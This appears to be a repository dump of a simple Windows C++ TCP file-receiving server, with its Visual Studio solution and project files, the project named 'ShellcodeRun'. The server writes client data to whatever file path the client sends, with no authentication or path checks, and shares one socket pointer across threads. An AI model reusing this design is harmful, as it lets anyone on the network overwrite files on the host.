"{7F97B6A1-DA10-43B2-BB56-72C45538CF80}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x64.ActiveCfg = Debug|x64 17 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x64.Build.0 = Debug|x64 18 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x86.ActiveCfg = Debug|Win32 19 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Debug|x86.Build.0 = Debug|Win32 20 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x64.ActiveCfg = Release|x64 21 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x64.Build.0 = Release|x64 22 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x86.ActiveCfg = Release|Win32 23 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {8FB3C18A-B7DC-49DD-8E90-3972202B014B} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SocketServer/Server/Server.cpp: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | #define _WINSOCK_DEPRECATED_NO_WARNINGS 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | using namespace std; 12 | 13 | #pragma comment(lib,"ws2_32.lib") 14 | 15 | 16 | #define MAX_DATA_BLOCK_SIZE 8192 17 | 18 | void error_exit(const char * msg, int val) { 19 | if (msg) { printf("%s\n\n", msg); } 20 | printf("使用方法:ft_server [监听端口]\n"); 21 | printf("监听端口是可选参数,默认为8888\n\n"); 22 | exit(val); 23 | 24 | } 25 | void serve_client(void *s) { 26 | printf("\n\n\n创建新线程成功!\n\n\n"); 27 | char file_name[MAX_PATH]; 28 | unsigned char pass[MAX_PATH] = { 0 }; 29 | char data[MAX_DATA_BLOCK_SIZE]; 30 | int i; 31 | char c; 32 | FILE *fp; 33 | 34 | 35 | printf("接收文件名。。。。\n"); 36 | memset((void *)file_name, 0, sizeof(file_name)); 37 | for (i = 0; i < sizeof(file_name); i++) { 38 | if (recv(*(SOCKET *)s, &c, 1, 0) != 1) { 39 | printf("接收失败或客户端已关闭连接\n"); 40 | closesocket(*(SOCKET *)s); 41 | return; 42 | } 43 | if (c == 0) { 44 | break; 45 | } 46 | file_name[i] = c; 47 | } 48 | if (i == sizeof(file_name)) { 49 | printf("文件名过长\n"); 50 | closesocket(*(SOCKET *)s); 51 | return; 52 | } 53 | printf("文件名%s\n", file_name); 54 | fp = fopen(file_name, "wb"); 55 | if (fp == NULL) { 56 | printf("无法以写方式打开文件\n"); 57 | closesocket(*(SOCKET *)s); 58 | return; 59 | } 60 | printf("接收文件内容"); 61 | memset((void *)data, 0, sizeof(data)); 62 | for (;;) { 63 | 64 | i = recv(*(SOCKET *)s, data, sizeof(data), 0); 65 | putchar('.'); 66 | if (i == SOCKET_ERROR) { 67 | printf("\n接收失败,文件可能不完整\n"); 68 | break; 69 | } 70 | else if (i == 0) { 71 | printf("\n接收成功\n"); 72 | break; 73 | } 74 | else { 75 | fwrite((void *)data, 1, i, fp); 76 | } 77 | } 78 | fclose(fp); 79 | closesocket(*(SOCKET *)s); 80 | 81 | 82 | 83 | _endthread(); 84 | 85 | } 86 | 87 | 88 | void print_socket_detail(SOCKET s) { 89 | struct sockaddr_in name; 90 | int namelen; 91 | namelen = sizeof(name); 92 | memset(&name, 0, namelen); 93 | getsockname(s, (struct sockaddr*)&name, &namelen); 94 | printf("local:%s:%d\n", inet_ntoa(name.sin_addr), ntohs(name.sin_port)); 95 | namelen = sizeof(name); 96 | memset(&name, 0, namelen); 97 | getpeername(s, (struct sockaddr*)&name, &namelen); 98 | printf("peer:%s:%d\n", inet_ntoa(name.sin_addr), ntohs(name.sin_port)); 99 | } 100 | 101 | void serve_at(u_short port) { 102 | WSADATA wsaData; 103 | SOCKET ls, as; 104 | static SOCKET *a; 105 | struct sockaddr_in addr; 106 | struct sockaddr_in cli_addr; 107 | int cli_addr_len; 108 | WSAStartup(0x202, &wsaData); 109 | ls = socket(AF_INET, SOCK_STREAM, 0); 110 | memset((void *)&addr, 0, sizeof(addr)); 111 | addr.sin_family = AF_INET; 112 | addr.sin_addr.s_addr = inet_addr("0.0.0.0"); 113 | addr.sin_port = htons(port); 114 | bind(ls, (struct sockaddr *)&addr, sizeof(addr)); 115 | listen(ls, SOMAXCONN); 116 | printf("服务器已启动,监听于端口%d\n", port); 117 | for (;;) { 118 | cli_addr_len = sizeof(cli_addr); 119 | memset((void *)&cli_addr, 0, cli_addr_len); 120 | as = accept(ls, (struct sockaddr *)&cli_addr, &cli_addr_len); 121 | a = &as; 122 | printf("客户端%s:%d已连接\n", inet_ntoa(cli_addr.sin_addr), ntohs(cli_addr.sin_port)); 123 | _beginthread(serve_client, 0, (void *)a); 124 | Sleep(1000); 125 | print_socket_detail(as); 126 | // while(1){} 127 | } 128 | closesocket(ls); 129 | WSACleanup(); 130 | } 131 | 132 | int main(int argc, char ** argv) { 133 | u_short port; 134 | if (argc == 1) { 135 | serve_at(8888); 136 | } 137 | else if (argc == 2) { 138 | port = (u_short)atoi(argv[1]); 139 | if (port == 0) { 140 | error_exit("非法的监听端口", -1); 141 | } 142 | else { 143 | serve_at(port); 144 | } 145 | } 146 | else { 147 | error_exit("参数错误", -1); 148 | } 149 | return 0; 150 | } -------------------------------------------------------------------------------- /SocketServer/Server/ShellcodeRun.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80} 24 | Win32Proj 25 | ShellcodeRun 26 | 10.0.14393.0 27 | Server 28 | 29 | 30 | 31 | Application 32 | true 33 | v141 34 | Unicode 35 | 36 | 37 | Application 38 | false 39 | v141 40 | true 41 | Unicode 42 | 43 | 44 | Application 45 | true 46 | v141 47 | MultiByte 48 | 49 | 50 | Application 51 | false 52 | v141 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | true 76 | 77 | 78 | true 79 | 80 | 81 | false 82 | 83 | 84 | false 85 | false 86 | 87 | 88 | 89 | 90 | 91 | Level3 92 | Disabled 93 | true 94 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 95 | true 96 | MultiThreadedDebug 97 | 98 | 99 | Console 100 | true 101 | 102 | 103 | 104 | 105 | 106 | 107 | Level3 108 | Disabled 109 | true 110 | _DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 111 | true 112 | MultiThreadedDebug 113 | 114 | 115 | Console 116 | true 117 | 118 | 119 | 120 | 121 | 122 | 123 | Level3 124 | MaxSpeed 125 | true 126 | true 127 | true 128 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 129 | true 130 | MultiThreadedDebug 131 | 132 | 133 | Console 134 | true 135 | true 136 | true 137 | 138 | 139 | 140 | 141 | 142 | 143 | Level3 144 | MaxSpeed 145 | true 146 | true 147 | true 148 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 149 | true 150 | MultiThreadedDebug 151 | 152 | 153 | Console 154 | true 155 | true 156 | false 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | -------------------------------------------------------------------------------- /SocketServer/Server/ShellcodeRun.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | -------------------------------------------------------------------------------- /SocketServer/Server/ShellcodeRun.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | --------------------------------------------------------------------------------